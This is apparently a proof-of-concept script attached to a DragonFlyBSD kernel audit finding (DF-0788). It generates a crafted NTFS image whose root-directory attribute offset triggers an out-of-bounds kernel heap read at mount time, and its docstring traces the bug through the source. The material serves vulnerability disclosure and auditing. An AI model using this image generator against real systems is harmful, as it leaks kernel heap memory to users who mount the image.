DragonFlyBSD Kernel Audit
DF-0788 / gen_ntfs_0788.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
gen_ntfs_0788.py - Crafted NTFS image that triggers the unvalidated resident
attribute data-offset OOB read in ntfs_attrtontvattr()
(sys/vfs/ntfs/ntfs_subr.c:557-564).

DF-0788 root cause (confirmed by source trace):
  263:  mfrp = kmalloc(ntfs_bntob(ntmp->ntm_bpmftrec), M_TEMP, M_WAITOK);
  ...
  305:  off = mfrp->fr_attroff;                     // start of attributes
  306:  ap  = (struct attr *)((caddr_t)mfrp + off);
  310:  while (ap->a_hdr.a_type != -1) {
  311:      error = ntfs_attrtontvattr(ntmp, &nvap, ap);  // <-- DF-0788 fires
  ...
  557:      vap->va_datalen = rap->a_r.a_datalen;   // u16 from disk
  561:      vap->va_datap = kmalloc(vap->va_datalen, M_NTFSRDATA, M_WAITOK);
  563:      memcpy(vap->va_datap,
  564:             (caddr_t) rap + rap->a_r.a_dataoff, // u16 from disk, UNCHECKED
                   rap->a_r.a_datalen);                // u16 from disk, UNCHECKED

  rap points into mfrp (the kmalloc'd MFT record buffer). a_dataoff is a u16
  read directly from disk with NO bounds validation. If a_dataoff + a_datalen
  exceeds the record buffer, the memcpy reads past mfrp into adjacent M_TEMP
  slab heap. The leaked bytes land in vap->va_datap and are later exposed to
  userspace via ntfs_readntvattr_plain():1594
  uiomove(vap->va_datap + roff, rsize, uio).

Trigger: craft an NTFS image where ino 5 (root dir) has a resident $INDEX_ROOT
attribute whose a_r.a_dataoff points past the 4096-byte MFT record. At mount
time, ntfs_mountfs -> VFS_VGET(ROOTINO=5) -> ntfs_loadntnode(5) -> attribute
walk -> ntfs_attrtontvattr -> OOB memcpy.

The DF-0787 unbounded-walk issue only affects iterations AFTER the first
attribute (it lives in `off += reclen`). Since DF-0788 fires inside
ntfs_attrtontvattr on the FIRST attribute, it is reached before DF-0787.

reachability confirmed:
  sys/vfs/ntfs/ntfs_vfsops.c:393-403 calls VFS_VGET for NTFS_MFTINO(0),
  NTFS_ROOTINO(5), NTFS_BITMAPINO(6) during mount. Ino 5's resident
  $INDEX_ROOT triggers the memcpy.

Output: ntfs_0788.img - a crafted image with ino 5's resident $INDEX_ROOT
  a_dataoff set to 0x0F80 (3968), so rap(0x48) + 0x0F80 + datalen(~208)
  reads ~16-200+ bytes past the 4096-byte MFT record buffer.
"""
import struct, sys, os

HERE = os.path.dirname(os.path.abspath(__file__))
SIBLING = os.path.join(HERE, '..', 'DF-0786', 'gen_ntfs.py')
sys.path.insert(0, os.path.dirname(SIBLING))
import importlib.util
spec = importlib.util.spec_from_file_location("gen_ntfs", SIBLING)
gen_ntfs = importlib.util.module_from_spec(spec)
spec.loader.exec_module(gen_ntfs)

# constants from the sibling generator
BPS = gen_ntfs.BPS
SPC = gen_ntfs.SPC
CLUS = gen_ntfs.CLUS
MFTCN = gen_ntfs.MFTCN
MFTRECBYTES = gen_ntfs.MFTRECBYTES
NUM_CLUSTERS = gen_ntfs.NUM_CLUSTERS
NTFS_A_INDXROOT = gen_ntfs.NTFS_A_INDXROOT
NTFS_FRFLAG_DIR = gen_ntfs.NTFS_FRFLAG_DIR


def build_mft_record_5_oob():
    """Build ino-5 (root dir) MFT record with a resident $INDEX_ROOT whose
    a_r.a_dataoff points past the record boundary -> OOB read in memcpy.

    Start from the sibling's clean root dir, then patch a_r.a_dataoff.
    """
    clean = gen_ntfs.build_mft_record_5()
    rec = bytearray(clean)

    # Locate the first attribute (fr_attroff).
    fr_attroff = struct.unpack_from('<H', rec, 20)[0]  # byte offset 20 in filerec

    # The resident attribute header layout (struct attr + a_S.a_S_r):
    #   offset  0: a_type    u32  (attrhdr)
    #   offset  4: reclen     u32
    #   offset  8: a_flag     u8
    #   offset  9: a_namelen  u8
    #   offset 10: a_nameoff  u8
    #   offset 11: reserved1  u8
    #   offset 12: a_compression u8
    #   offset 13: reserved2  u8
    #   offset 14: a_index    u16
    #   ---- resident header (a_S.a_S_r) ----
    #   offset 16: a_datalen  u16
    #   offset 18: reserved1  u16
    #   offset 20: a_dataoff  u16   <-- THE BUG TARGET
    #   offset 22: a_indexed  u16

    dataoff_field = fr_attroff + 20   # a_r.a_dataoff within the record
    datalen_field = fr_attroff + 16   # a_r.a_datalen within the record

    # Read original values for reporting
    orig_dataoff = struct.unpack_from('<H', rec, dataoff_field)[0]
    orig_datalen = struct.unpack_from('<H', rec, datalen_field)[0]

    # Corrupt a_dataoff: push it so that rap + a_dataoff + a_datalen
    # exceeds the record buffer (4096 bytes).
    # rap = rec + fr_attroff (=72). We want 72 + a_dataoff + a_datalen > 4096.
    # Set a_dataoff = 0x0F80 (3968): 72 + 3968 = 4040; +208 = 4248 > 4096.
    # This reads ~152 bytes past the 4096-byte buffer into adjacent heap.
    new_dataoff = 0x0F80
    struct.pack_into('<H', rec, dataoff_field, new_dataoff)

    sys.stderr.write(
        f"[gen] ino5 $INDEX_ROOT: fr_attroff={fr_attroff} "
        f"a_dataoff {orig_dataoff:#06x} -> {new_dataoff:#06x} "
        f"(a_datalen={orig_datalen}); read target = rec[{fr_attroff}+{new_dataoff}] "
        f"= rec[{fr_attroff+new_dataoff}] + {orig_datalen}B "
        f"-> {fr_attroff+new_dataoff+orig_datalen} > {MFTRECBYTES} (OOB by "
        f"{fr_attroff+new_dataoff+orig_datalen-MFTRECBYTES}B)\n")

    # Re-apply fixups (corruption is in the attribute body, not on a sector
    # boundary, so ntfs_procfixups will still succeed and the walk is reached).
    return gen_ntfs.apply_fixups(bytes(rec))


def build_image():
    img = bytearray(NUM_CLUSTERS * CLUS)
    img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector()

    mft_records = [None] * 11
    mft_records[0]  = gen_ntfs.build_mft_record_0()
    mft_records[1]  = gen_ntfs.build_mft_minimal()
    mft_records[2]  = gen_ntfs.build_mft_minimal()
    mft_records[3]  = gen_ntfs.build_mft_minimal()
    mft_records[4]  = gen_ntfs.build_mft_record_4()
    mft_records[5]  = build_mft_record_5_oob()   # <-- corrupted root dir
    mft_records[6]  = gen_ntfs.build_mft_record_6()
    mft_records[7]  = gen_ntfs.build_mft_minimal()
    mft_records[8]  = gen_ntfs.build_mft_minimal()
    mft_records[9]  = gen_ntfs.build_mft_minimal()
    mft_records[10] = gen_ntfs.build_mft_record_10()

    for i in range(11):
        off = (MFTCN + i) * CLUS
        img[off:off + len(mft_records[i])] = mft_records[i]

    upcase = gen_ntfs.make_upcase_data()
    uo = gen_ntfs.UPCASE_CN * CLUS
    img[uo:uo + len(upcase)] = upcase

    return bytes(img)


def main():
    out = sys.argv[1] if len(sys.argv) > 1 else 'ntfs_0788.img'
    img = build_image()
    with open(out, 'wb') as f:
        f.write(img)
    print(f"[gen] wrote {out}: {len(img)} bytes ({len(img)//1024} KB)")


if __name__ == '__main__':
    main()